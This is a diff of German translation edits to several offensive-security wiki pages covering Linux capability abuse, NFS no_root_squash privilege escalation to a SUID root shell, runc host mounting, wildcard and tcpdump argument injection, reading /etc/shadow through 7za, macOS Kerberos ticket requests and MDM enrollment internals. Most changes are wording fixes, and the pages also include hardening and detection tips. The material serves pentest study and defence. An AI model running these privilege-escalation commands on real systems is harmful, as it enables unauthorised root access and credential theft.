+Wenn Sie kill-Berechtigungen haben und ein **Node-Programm als root** (oder als ein anderer Benutzer) läuft, könnten Sie wahrscheinlich **es** das **Signal SIGUSR1** **senden** und es **den Node-Debugger öffnen** lassen, zu dem Sie sich verbinden können.
 ```bash
 kill -s SIGUSR1 <nodejs-ps>
 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
@@ -1289,7 +1289,6 @@ kill -s SIGUSR1 <nodejs-ps>
 electron-cef-chromium-debugger-abuse.md
 {{#endref}}
 
-
 ## CAP_NET_BIND_SERVICE
 
 **Das bedeutet, dass es möglich ist, an jedem Port (auch an privilegierten) zu lauschen.** Mit dieser Fähigkeit können Sie die Berechtigungen nicht direkt erhöhen.
@@ -1328,9 +1327,9 @@ s.connect(('10.10.10.10',500))
 
 **Das bedeutet, dass es möglich ist, den Verkehr abzuhören.** Sie können mit dieser Berechtigung keine Privilegien direkt eskalieren.
 
-**Beispiel mit Binary**
+**Beispiel mit Binärdatei**
 
-Wenn das Binary **`tcpdump`** diese Berechtigung hat, können Sie es verwenden, um Netzwerkdaten zu erfassen.
+Wenn die Binärdatei **`tcpdump`** diese Berechtigung hat, können Sie sie verwenden, um Netzwerkdaten zu erfassen.
 ```bash
 getcap -r / 2>/dev/null
 /usr/sbin/tcpdump = cap_net_raw+ep
@@ -1385,11 +1384,11 @@ count=count+1
 ```
 ## CAP_NET_ADMIN + CAP_NET_RAW
 
-[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) Berechtigung gewährt dem Inhaber die Möglichkeit, **Netzwerkkonfigurationen** zu **ändern**, einschließlich Firewall-Einstellungen, Routing-Tabellen, Socket-Berechtigungen und Netzwerkschnittstelleneinstellungen innerhalb der exponierten Netzwerk-Namensräume. Es ermöglicht auch das Aktivieren des **promiscuous mode** auf Netzwerkschnittstellen, was das Paket-Sniffing über Namensräume hinweg erlaubt.
+[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) Fähigkeit gewährt dem Inhaber die Möglichkeit, **Netzwerkkonfigurationen zu ändern**, einschließlich Firewall-Einstellungen, Routing-Tabellen, Socket-Berechtigungen und Netzwerkschnittstelleneinstellungen innerhalb der exponierten Netzwerk-Namensräume. Es ermöglicht auch das Aktivieren des **Promiscuous Mode** auf Netzwerkschnittstellen, was das Sniffen von Paketen über Namensräume hinweg erlaubt.
 
 **Beispiel mit Binärdatei**
 
-Angenommen, die **python-Binärdatei** hat diese Berechtigungen.
+Angenommen, die **python-Binärdatei** hat diese Fähigkeiten.
 ```python
 #Dump iptables filter table rules
 import iptc
@@ -1440,10 +1439,10 @@ f.write('New content for the file\n')
 
 ## CAP_SYS_CHROOT
 
-[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ermöglicht die Ausführung des `chroot(2)` Systemaufrufs, der potenziell das Entkommen aus `chroot(2)`-Umgebungen durch bekannte Schwachstellen erlauben kann:
+[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) ermöglicht die Ausführung des `chroot(2)` Systemaufrufs, was potenziell das Entkommen aus `chroot(2)`-Umgebungen durch bekannte Schwachstellen erlauben kann:
 
 - [Wie man aus verschiedenen chroot-Lösungen ausbricht](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
-- [chw00t: chroot Escape-Tool](https://github.com/earthquake/chw00t/)
+- [chw00t: chroot Escape Tool](https://github.com/earthquake/chw00t/)
 
 ## CAP_SYS_BOOT
 
@@ -1451,13 +1450,13 @@ f.write('New content for the file\n')
 
 ## CAP_SYSLOG
 
-[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) wurde in Linux 2.6.37 von der breiteren **CAP_SYS_ADMIN** getrennt und gewährt speziell die Fähigkeit, den `syslog(2)` Aufruf zu verwenden. Diese Fähigkeit ermöglicht das Anzeigen von Kerneladressen über `/proc` und ähnliche Schnittstellen, wenn die Einstellung `kptr_restrict` auf 1 gesetzt ist, die die Offenlegung von Kerneladressen steuert. Seit Linux 2.6.39 ist der Standard für `kptr_restrict` 0, was bedeutet, dass Kerneladressen offengelegt werden, obwohl viele Distributionen dies aus Sicherheitsgründen auf 1 (Adressen außer von uid 0 verbergen) oder 2 (Adressen immer verbergen) setzen.
+[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) wurde in Linux 2.6.37 von der breiteren **CAP_SYS_ADMIN** getrennt und gewährt speziell die Fähigkeit, den `syslog(2)` Aufruf zu verwenden. Diese Fähigkeit ermöglicht das Anzeigen von Kernel-Adressen über `/proc` und ähnliche Schnittstellen, wenn die Einstellung `kptr_restrict` auf 1 gesetzt ist, die die Offenlegung von Kernel-Adressen steuert. Seit Linux 2.6.39 ist der Standard für `kptr_restrict` 0, was bedeutet, dass Kernel-Adressen offengelegt werden, obwohl viele Distributionen dies aus Sicherheitsgründen auf 1 (Adressen außer von uid 0 verbergen) oder 2 (Adressen immer verbergen) setzen.
 
-Darüber hinaus ermöglicht **CAP_SYSLOG** den Zugriff auf die `dmesg`-Ausgabe, wenn `dmesg_restrict` auf 1 gesetzt ist. Trotz dieser Änderungen behält **CAP_SYS_ADMIN** die Fähigkeit, `syslog`-Operationen aufgrund historischer Präzedenzfälle durchzuführen.
+Darüber hinaus erlaubt **CAP_SYSLOG** den Zugriff auf die `dmesg`-Ausgabe, wenn `dmesg_restrict` auf 1 gesetzt ist. Trotz dieser Änderungen behält **CAP_SYS_ADMIN** die Fähigkeit, `syslog`-Operationen aufgrund historischer Präzedenzfälle durchzuführen.
 
 ## CAP_MKNOD
 
-[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) erweitert die Funktionalität des `mknod` Systemaufrufs über die Erstellung regulärer Dateien, FIFOs (benannte Pipes) oder UNIX-Domänensockets hinaus. Es ermöglicht speziell die Erstellung von speziellen Dateien, zu denen gehören:
+[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) erweitert die Funktionalität des `mknod` Systemaufrufs über die Erstellung regulärer Dateien, FIFOs (benannte Pipes) oder UNIX-Domänensockets hinaus. Es erlaubt speziell die Erstellung von speziellen Dateien, die Folgendes umfassen:
 
 - **S_IFCHR**: Zeichenspezialdateien, die Geräte wie Terminals sind.
 - **S_IFBLK**: Block-Spezialdateien, die Geräte wie Festplatten sind.
@@ -1466,7 +1465,7 @@ Diese Fähigkeit ist entscheidend für Prozesse, die die Fähigkeit benötigen,
 
 Es ist eine Standard-Docker-Fähigkeit ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
 
-Diese Fähigkeit erlaubt Privilegieneskalationen (durch vollständiges Lesen der Festplatte) auf dem Host unter diesen Bedingungen:
+Diese Fähigkeit erlaubt Privilegieneskalationen (durch vollständiges Lesen der Festplatte) auf dem Host, unter diesen Bedingungen:
 
 1. Zunächst Zugriff auf den Host haben (unprivilegiert).
 2. Zunächst Zugriff auf den Container haben (privilegiert (EUID 0) und effektives `CAP_MKNOD`).

src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md

@@ -4,10 +4,10 @@
 
 ## Squashing Basic Info
 
-NFS wird normalerweise (insbesondere unter Linux) dem angegebenen `uid` und `gid` des Clients, der auf die Dateien zugreift (wenn Kerberos nicht verwendet wird), vertrauen. Es gibt jedoch einige Konfigurationen, die auf dem Server gesetzt werden können, um **dieses Verhalten zu ändern**:
+NFS wird normalerweise (insbesondere unter Linux) dem angegebenen `uid` und `gid` des Clients, der auf die Dateien zugreift (wenn Kerberos nicht verwendet wird), vertrauen. Es gibt jedoch einige Konfigurationen, die auf dem Server eingestellt werden können, um **dieses Verhalten zu ändern**:
 
 - **`all_squash`**: Es squash alle Zugriffe, indem jeder Benutzer und jede Gruppe auf **`nobody`** (65534 unsigned / -2 signed) abgebildet wird. Daher ist jeder `nobody` und es werden keine Benutzer verwendet.
-- **`root_squash`/`no_all_squash`**: Dies ist standardmäßig unter Linux und **squasht nur den Zugriff mit uid 0 (root)**. Daher werden alle `UID` und `GID` vertraut, aber `0` wird auf `nobody` gesquasht (so ist keine Root-Imitation möglich).
+- **`root_squash`/`no_all_squash`**: Dies ist standardmäßig unter Linux und **squasht nur Zugriffe mit uid 0 (root)**. Daher werden alle `UID` und `GID` vertraut, aber `0` wird auf `nobody` gesquasht (so ist keine Root-Imitation möglich).
 - **``no_root_squash`**: Diese Konfiguration, wenn aktiviert, squasht nicht einmal den Root-Benutzer. Das bedeutet, dass Sie, wenn Sie ein Verzeichnis mit dieser Konfiguration einhängen, darauf als Root zugreifen können.
 
 In der **/etc/exports**-Datei, wenn Sie ein Verzeichnis finden, das als **no_root_squash** konfiguriert ist, können Sie **darauf zugreifen** **als Client** und **in dieses Verzeichnis schreiben**, **als ob** Sie der lokale **Root** der Maschine wären.
@@ -22,10 +22,10 @@ Für weitere Informationen über **NFS** überprüfen Sie:
 
 ### Remote Exploit
 
-Option 1 mit bash:
+Option 1 unter Verwendung von bash:
-- **Mounten Sie dieses Verzeichnis** auf einer Client-Maschine und **kopieren Sie als Root** die **/bin/bash**-Binary in den eingehängten Ordner und geben Sie ihr **SUID**-Rechte, und **führen Sie von der Opfer**-Maschine diese bash-Binary aus.
+- **Mounten Sie dieses Verzeichnis** auf einer Client-Maschine und **kopieren Sie als Root** die **/bin/bash**-Binary in den gemounteten Ordner und geben Sie ihr **SUID**-Rechte, und **führen Sie von der Opfer**-Maschine diese bash-Binary aus.
-- Beachten Sie, dass `no_root_squash` auf dem Server konfiguriert sein muss, um Root im NFS-Share zu sein.
+- Beachten Sie, dass `no_root_squash` auf dem Server konfiguriert sein muss, um Root innerhalb des NFS-Teils zu sein.
-- Wenn es jedoch nicht aktiviert ist, könnten Sie zu einem anderen Benutzer eskalieren, indem Sie die Binary in den NFS-Share kopieren und ihr die SUID-Berechtigung als den Benutzer geben, zu dem Sie eskalieren möchten.
+- Wenn es jedoch nicht aktiviert ist, könnten Sie zu einem anderen Benutzer eskalieren, indem Sie die Binary in den NFS-Teil kopieren und ihr die SUID-Berechtigung als den Benutzer geben, zu dem Sie eskalieren möchten.
 ```bash
 #Attacker, as root user
 mkdir /tmp/pe
@@ -38,7 +38,7 @@ chmod +s bash
 cd <SHAREDD_FOLDER>
 ./bash -p #ROOT shell
 ```
-Option 2 unter Verwendung von C kompiliertem Code:
+Option 2 mit C kompiliertem Code:
 - **Mounten Sie dieses Verzeichnis** auf einem Client-Rechner und **kopieren Sie als root** unser kompiliertes Payload in den gemounteten Ordner, das die SUID-Berechtigung ausnutzt, geben Sie ihm **SUID**-Rechte und **führen Sie von der Opfer**-Maschine diese Binärdatei aus (hier finden Sie einige [C SUID-Payloads](payloads-to-execute.md#c)).
 - Dieselben Einschränkungen wie zuvor.
 ```bash
@@ -59,12 +59,12 @@ cd <SHAREDD_FOLDER>
 > [!TIP]
 > Beachten Sie, dass Sie, wenn Sie einen **Tunnel von Ihrem Rechner zum Opferrechner erstellen können, die Remote-Version weiterhin verwenden können, um diese Privilegieneskalation durch Tunneln der erforderlichen Ports auszunutzen**.\
 > Der folgende Trick gilt, falls die Datei `/etc/exports` **eine IP angibt**. In diesem Fall **werden Sie auf keinen Fall** den **Remote-Exploit** verwenden können und müssen **diesen Trick ausnutzen**.\
-> Eine weitere erforderliche Bedingung, damit der Exploit funktioniert, ist, dass **der Export in `/etc/export`** **das `insecure`-Flag verwenden muss**.\
+> Eine weitere Voraussetzung, damit der Exploit funktioniert, ist, dass **der Export in `/etc/export`** **das `insecure`-Flag verwenden muss**.\
 > --_Ich bin mir nicht sicher, ob dieser Trick funktioniert, wenn `/etc/export` eine IP-Adresse angibt_--
 
 ### Grundinformationen
 
-Das Szenario beinhaltet das Ausnutzen eines gemounteten NFS-Teils auf einem lokalen Rechner, wobei eine Schwachstelle in der NFSv3-Spezifikation ausgenutzt wird, die es dem Client ermöglicht, seine uid/gid anzugeben, was potenziell unbefugten Zugriff ermöglicht. Der Exploit verwendet [libnfs](https://github.com/sahlberg/libnfs), eine Bibliothek, die das Fälschen von NFS RPC-Aufrufen ermöglicht.
+Das Szenario beinhaltet das Ausnutzen eines gemounteten NFS-Teils auf einem lokalen Rechner, wobei eine Schwachstelle in der NFSv3-Spezifikation ausgenutzt wird, die es dem Client ermöglicht, seine uid/gid anzugeben, was potenziell unbefugten Zugriff ermöglicht. Der Exploit nutzt [libnfs](https://github.com/sahlberg/libnfs), eine Bibliothek, die das Fälschen von NFS RPC-Aufrufen ermöglicht.
 
 #### Kompilieren der Bibliothek
 
@@ -77,7 +77,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
 ```
 #### Durchführung des Exploits
 
-Der Exploit besteht darin, ein einfaches C-Programm (`pwn.c`) zu erstellen, das die Berechtigungen auf root erhöht und dann eine Shell ausführt. Das Programm wird kompiliert, und die resultierende Binärdatei (`a.out`) wird im Share mit suid root platziert, wobei `ld_nfs.so` verwendet wird, um die uid in den RPC-Aufrufen zu fälschen:
+Der Exploit besteht darin, ein einfaches C-Programm (`pwn.c`) zu erstellen, das die Berechtigungen auf root erhöht und dann eine Shell ausführt. Das Programm wird kompiliert, und die resultierende Binärdatei (`a.out`) wird mit suid root im Share platziert, wobei `ld_nfs.so` verwendet wird, um die uid in den RPC-Aufrufen zu fälschen:
 
 1. **Kompiliere den Exploit-Code:**
 ```bash

src/linux-hardening/privilege-escalation/runc-privilege-escalation.md

@@ -12,7 +12,7 @@ Wenn Sie mehr über **runc** erfahren möchten, besuchen Sie die folgende Seite:
 
 ## PE
 
-Wenn Sie feststellen, dass `runc` auf dem Host installiert ist, können Sie möglicherweise **einen Container ausführen, der das Root-Verzeichnis / des Hosts einbindet**.
+Wenn Sie feststellen, dass `runc` auf dem Host installiert ist, können Sie möglicherweise **einen Container ausführen, der das Wurzelverzeichnis / des Hosts einbindet**.
 ```bash
 runc -help #Get help and see if runc is intalled
 runc spec #This will create the config.json file in your current folder

src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

@@ -20,7 +20,7 @@ chmod -R 644 *.php
 ```
 `--reference=/root/secret``file` wird injiziert, wodurch *alle* übereinstimmenden Dateien den Besitz/die Berechtigungen von `/root/secret``file` erben.
 
-*PoC & Tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (kombinierter Angriff).
+*PoC & Tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (kombinierter Angriff).  
 Siehe auch das klassische DefenseCode-Papier für Details.
 
 ---
@@ -76,7 +76,7 @@ Wenn root etwas wie Folgendes ausführt:
 ```bash
 7za a /backup/`date +%F`.7z -t7z -snl -- *
 ```
-7-Zip wird versuchen, `root.txt` (→ `/etc/shadow`) als Dateiliste zu lesen und wird abbrechen, **während es den Inhalt auf stderr ausgibt**.
+7-Zip wird versuchen, `root.txt` (→ `/etc/shadow`) als Dateiliste zu lesen und wird abbrechen, **indem es den Inhalt auf stderr ausgibt**.
 
 ---
 
@@ -105,9 +105,9 @@ Diese Primitiven sind weniger verbreitet als die *tar/rsync/zip* Klassiker, aber
 
 ---
 
-## tcpdump-Rotationshaken (-G/-W/-z): RCE über argv-Injection in Wrappers
+## tcpdump-Rotations-Hooks (-G/-W/-z): RCE über argv-Injection in Wrappers
 
-Wenn eine eingeschränkte Shell oder ein Anbieter-Wrap einen `tcpdump`-Befehl erstellt, indem sie benutzerkontrollierte Felder (z. B. ein "Dateiname"-Parameter) ohne strikte Anführungszeichen/Validierung verknüpft, kannst du zusätzliche `tcpdump`-Flags schmuggeln. Die Kombination aus `-G` (zeitbasierte Rotation), `-W` (Anzahl der Dateien begrenzen) und `-z <cmd>` (Post-Rotate-Befehl) führt zu beliebiger Befehlsausführung als der Benutzer, der tcpdump ausführt (oft root auf Geräten).
+Wenn eine eingeschränkte Shell oder ein Vendor-Wrapper eine `tcpdump`-Befehlszeile erstellt, indem sie benutzerkontrollierte Felder (z. B. ein "Dateiname"-Parameter) ohne strikte Anführungszeichen/Validierung verknüpft, kannst du zusätzliche `tcpdump`-Flags schmuggeln. Die Kombination aus `-G` (zeitbasierte Rotation), `-W` (Anzahl der Dateien begrenzen) und `-z <cmd>` (Post-Rotate-Befehl) führt zu beliebiger Befehlsausführung als der Benutzer, der tcpdump ausführt (oft root auf Geräten).
 
 Voraussetzungen:
 
@@ -139,22 +139,21 @@ Details:
 
 No-removable-media Varianten:
 
-- Wenn Sie eine andere Primitive zum Schreiben von Dateien haben (z. B. einen separaten Befehlswrapper, der die Umleitung von Ausgaben ermöglicht), legen Sie Ihr Skript in einen bekannten Pfad und triggern Sie `-z /bin/sh /path/script.sh` oder `-z /path/script.sh`, je nach Plattformsemantik.
+- Wenn Sie eine andere primitive Methode zum Schreiben von Dateien haben (z. B. einen separaten Befehlswrapper, der die Umleitung von Ausgaben ermöglicht), legen Sie Ihr Skript in einen bekannten Pfad und triggern Sie `-z /bin/sh /path/script.sh` oder `-z /path/script.sh` je nach Plattformsemantik.
-- Einige Vendor-Wrappers rotieren zu vom Angreifer kontrollierbaren Standorten. Wenn Sie den rotierten Pfad beeinflussen können (symlink/verzeichnis traversal), können Sie `-z` steuern, um Inhalte auszuführen, die Sie vollständig kontrollieren, ohne externe Medien.
+- Einige Vendor-Wrappers rotieren zu vom Angreifer kontrollierbaren Standorten. Wenn Sie den rotierten Pfad beeinflussen können (Symlink/Verzeichnisdurchquerung), können Sie `-z` steuern, um Inhalte auszuführen, die Sie vollständig kontrollieren, ohne externe Medien.
 
-Hardening-Tipps für Anbieter:
+Härtungstipps für Anbieter:
 
-- Geben Sie niemals benutzerkontrollierte Zeichenfolgen direkt an `tcpdump` (oder ein beliebiges Tool) ohne strenge Allowlists weiter. Zitieren und validieren.
+- Geben Sie niemals benutzerkontrollierte Zeichenfolgen direkt an `tcpdump` (oder ein beliebiges Tool) ohne strenge Erlaubenlisten weiter. Zitieren und validieren.
 - Setzen Sie die `-z`-Funktionalität in Wrappers nicht aus; führen Sie tcpdump mit einer festen sicheren Vorlage aus und verbieten Sie zusätzliche Flags vollständig.
 - Reduzieren Sie die tcpdump-Berechtigungen (cap_net_admin/cap_net_raw nur) oder führen Sie es unter einem dedizierten unprivilegierten Benutzer mit AppArmor/SELinux-Einschränkung aus.
 
-
 ## Detection & Hardening
 
 1. **Deaktivieren Sie die Shell-Gloßierung** in kritischen Skripten: `set -f` (`set -o noglob`) verhindert die Wildcard-Erweiterung.
 2. **Zitieren oder Escapen** Sie Argumente: `tar -czf "$dst" -- *` ist *nicht* sicher — bevorzugen Sie `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
 3. **Explizite Pfade**: Verwenden Sie `/var/www/html/*.log` anstelle von `*`, damit Angreifer keine Geschwisterdateien erstellen können, die mit `-` beginnen.
-4. **Minimalprivileg**: Führen Sie Backup-/Wartungsjobs nach Möglichkeit als unprivilegiertes Dienstkonto anstelle von root aus.
+4. **Minimalprivilegien**: Führen Sie Backup-/Wartungsjobs nach Möglichkeit als unprivilegiertes Dienstkonto anstelle von root aus.
 5. **Überwachung**: Die vorgefertigte Regel von Elastic *Potential Shell via Wildcard Injection* sucht nach `tar --checkpoint=*`, `rsync -e*` oder `zip --unzip-command`, die sofort von einem Shell-Kindprozess gefolgt werden. Die EQL-Abfrage kann für andere EDRs angepasst werden.
 
 ---

src/macos-hardening/macos-red-teaming/README.md

@@ -90,7 +90,7 @@ Allerdings könnten **Anmeldeinformationen** diesen Skripten als **Parameter**
 
 Das Skript [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kann auf neue hinzugefügte Dateien und neue Prozessargumente hören.
 
-### macOS Remote Access
+### macOS Remote-Zugriff
 
 Und auch über **MacOS** "besondere" **Netzwerk** **Protokolle**:
 
@@ -138,7 +138,7 @@ Die drei Arten von MacOS-Benutzern sind:
 
 - **Lokale Benutzer** — Verwaltet durch den lokalen OpenDirectory-Dienst, sie sind in keiner Weise mit dem Active Directory verbunden.
 - **Netzwerkbenutzer** — Flüchtige Active Directory-Benutzer, die eine Verbindung zum DC-Server benötigen, um sich zu authentifizieren.
-- **Mobile Benutzer** — Active Directory-Benutzer mit einer lokalen Sicherung für ihre Anmeldeinformationen und Dateien.
+- **Mobile Benutzer** — Active Directory-Benutzer mit einem lokalen Backup für ihre Anmeldeinformationen und Dateien.
 
 Die lokalen Informationen über Benutzer und Gruppen werden im Ordner _/var/db/dslocal/nodes/Default._ gespeichert.\
 Zum Beispiel werden die Informationen über den Benutzer _mark_ in _/var/db/dslocal/nodes/Default/users/mark.plist_ und die Informationen über die Gruppe _admin_ in _/var/db/dslocal/nodes/Default/groups/admin.plist_ gespeichert.
@@ -186,7 +186,7 @@ Holen Sie sich ein TGT für einen bestimmten Benutzer und Dienst:
 bifrost --action asktgt --username [user] --domain [domain.com] \
 --hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
 ```
-Sobald das TGT gesammelt ist, ist es möglich, es in die aktuelle Sitzung mit:
+Sobald das TGT gesammelt ist, ist es möglich, es in die aktuelle Sitzung mit einzufügen:
 ```bash
 bifrost --action asktgt --username test_lab_admin \
 --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
@@ -204,7 +204,7 @@ mount -t smbfs //server/folder /local/mount/point
 ```
 ## Zugriff auf den Schlüsselbund
 
-Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, wenn sie ohne Aufforderung zuzugreifen, helfen könnten, eine Red Team-Übung voranzutreiben:
+Der Schlüsselbund enthält höchstwahrscheinlich sensible Informationen, die, wenn sie ohne Aufforderung abgerufen werden, dazu beitragen könnten, eine Red Team-Übung voranzutreiben:
 
 {{#ref}}
 macos-keychain.md

src/macos-hardening/macos-red-teaming/macos-mdm/README.md

@@ -19,7 +19,7 @@
 
 ### **Grundlagen des DEP (Device Enrollment Program)**
 
-Das [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP), das von Apple angeboten wird, vereinfacht die Integration von Mobile Device Management (MDM), indem es eine Zero-Touch-Konfiguration für iOS-, macOS- und tvOS-Geräte ermöglicht. DEP automatisiert den Registrierungsprozess, sodass Geräte sofort einsatzbereit sind, ohne dass Benutzer oder Administratoren eingreifen müssen. Wesentliche Aspekte sind:
+Das [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP), das von Apple angeboten wird, vereinfacht die Integration von Mobile Device Management (MDM), indem es eine Zero-Touch-Konfiguration für iOS-, macOS- und tvOS-Geräte ermöglicht. DEP automatisiert den Registrierungsprozess, sodass Geräte sofort einsatzbereit sind, mit minimalem Benutzer- oder Verwaltungsaufwand. Wesentliche Aspekte sind:
 
 - Ermöglicht es Geräten, sich autonom bei einem vordefinierten MDM-Server bei der ersten Aktivierung zu registrieren.
 - Primär vorteilhaft für brandneue Geräte, aber auch anwendbar für Geräte, die neu konfiguriert werden.
@@ -49,7 +49,7 @@ Es ist wichtig zu beachten, dass die durch DEP gebotene einfache Registrierung,
 ### MDM
 
 - Kombination aus APNs (**Apple-Server**n) + RESTful API (**MDM** **Anbieter**-Server)
-- **Kommunikation** erfolgt zwischen einem **Gerät** und einem Server, der mit einem **Geräteverwaltungs**-**produkt** verbunden ist
+- **Kommunikation** erfolgt zwischen einem **Gerät** und einem Server, der mit einem **Geräteverwaltungs**produkt verbunden ist
 - **Befehle** werden vom MDM an das Gerät in **plist-kodierten Dictionaries** übermittelt
 - Überall über **HTTPS**. MDM-Server können (und sind normalerweise) gepinnt.
 - Apple gewährt dem MDM-Anbieter ein **APNs-Zertifikat** zur Authentifizierung
@@ -97,7 +97,7 @@ Die Datei `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Libra
 
 ### Schritt 4: DEP-Check-in - Abrufen des Aktivierungsdatensatzes
 
-Dieser Teil des Prozesses erfolgt, wenn ein **Benutzer einen Mac zum ersten Mal bootet** (oder nach einer vollständigen Löschung)
+Dieser Teil des Prozesses tritt auf, wenn ein **Benutzer einen Mac zum ersten Mal bootet** (oder nach einer vollständigen Löschung)
 
 ![](<../../../images/image (1044).png>)
 
@@ -107,7 +107,7 @@ oder beim Ausführen von `sudo profiles show -type enrollment`
 - Aktivierungsdatensatz ist der interne Name für **DEP „Profil“**
 - Beginnt, sobald das Gerät mit dem Internet verbunden ist
 - Angetrieben von **`CPFetchActivationRecord`**
-- Implementiert durch **`cloudconfigurationd`** über XPC. Der **"Setup-Assistent"** (wenn das Gerät zum ersten Mal gebootet wird) oder der **`profiles`**-Befehl wird **dieses Daemon** kontaktieren, um den Aktivierungsdatensatz abzurufen.
+- Implementiert durch **`cloudconfigurationd`** über XPC. Der **"Setup-Assistent"** (wenn das Gerät zum ersten Mal gebootet wird) oder der **`profiles`**-Befehl wird **diesem Daemon** kontaktieren, um den Aktivierungsdatensatz abzurufen.
 - LaunchDaemon (läuft immer als root)
 
 Es folgen einige Schritte, um den Aktivierungsdatensatz durch **`MCTeslaConfigurationFetcher`** abzurufen. Dieser Prozess verwendet eine Verschlüsselung namens **Absinthe**
@@ -121,7 +121,7 @@ Es folgen einige Schritte, um den Aktivierungsdatensatz durch **`MCTeslaConfigur
 4. Sitzung einrichten (**`NACKeyEstablishment`**)
 5. Anfrage stellen
 1. POST an [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) mit den Daten `{ "action": "RequestProfileConfiguration", "sn": "" }`
-2. Die JSON-Payload wird mit Absinthe (**`NACSign`**) verschlüsselt
+2. Die JSON-Payload ist mit Absinthe (**`NACSign`**) verschlüsselt
 3. Alle Anfragen über HTTPs, integrierte Root-Zertifikate werden verwendet
 
 ![](<../../../images/image (566) (1).png>)
@@ -144,7 +144,7 @@ Die Antwort ist ein JSON-Dictionary mit einigen wichtigen Daten wie:
 - Signiert mit dem **Geräteidentitätszertifikat (von APNS)**
 - **Zertifikatkette** umfasst abgelaufene **Apple iPhone Device CA**
 
-![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
+![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
 
 ### Schritt 6: Installation des Profils
 
@@ -163,8 +163,8 @@ Die Antwort ist ein JSON-Dictionary mit einigen wichtigen Daten wie:
 Typischerweise wird das **Aktivierungsprofil**, das von einem MDM-Anbieter bereitgestellt wird, die folgenden Payloads **enthalten**:
 
 - `com.apple.mdm`: um das Gerät in MDM zu **registrieren**
-- `com.apple.security.scep`: um ein **Client-Zertifikat** sicher an das Gerät bereitzustellen.
+- `com.apple.security.scep`: um dem Gerät ein **Client-Zertifikat** sicher bereitzustellen.
-- `com.apple.security.pem`: um vertrauenswürdige CA-Zertifikate im System-Schlüsselbund des Geräts zu **installieren**.
+- `com.apple.security.pem`: um **vertrauenswürdige CA-Zertifikate** im System-Schlüsselbund des Geräts zu installieren.
 - Die Installation der MDM-Payload entspricht dem **MDM-Check-in in der Dokumentation**
 - Die Payload **enthält wichtige Eigenschaften**:
 - - MDM-Check-In-URL (**`CheckInURL`**)

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -81,7 +81,7 @@ Dies könnte in den folgenden Situationen auftreten:
 
 In der Lage zu sein, eine **Datei zu erstellen**, die von **root verwendet wird**, ermöglicht es einem Benutzer, **von ihrem Inhalt zu profitieren** oder sogar **Symlinks/Hardlinks** zu erstellen, um sie an einen anderen Ort zu verweisen.
 
-Für diese Art von Schwachstellen vergessen Sie nicht, **anfällige `.pkg` Installer** zu überprüfen:
+Für diese Art von Schwachstellen vergessen Sie nicht, **anfällige `.pkg` Installer zu überprüfen**:
 
 
 {{#ref}}

src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md

@@ -4,9 +4,9 @@
 
 ## XNU Kernel
 
-Der **Kern von macOS ist XNU**, was für "X is Not Unix" steht. Dieser Kernel besteht grundlegend aus dem **Mach-Mikrokernel** (der später besprochen wird) und Elementen der Berkeley Software Distribution (**BSD**). XNU bietet auch eine Plattform für **Kernel-Treiber über ein System namens I/O Kit**. Der XNU-Kernel ist Teil des Darwin-Open-Source-Projekts, was bedeutet, dass **der Quellcode frei zugänglich ist**.
+Der **Kern von macOS ist XNU**, was für "X is Not Unix" steht. Dieser Kernel besteht grundlegend aus dem **Mach-Mikrokernel** (der später besprochen wird) **und** Elementen der Berkeley Software Distribution (**BSD**). XNU bietet auch eine Plattform für **Kernel-Treiber über ein System namens I/O Kit**. Der XNU-Kernel ist Teil des Darwin-Open-Source-Projekts, was bedeutet, dass **der Quellcode frei zugänglich ist**.
 
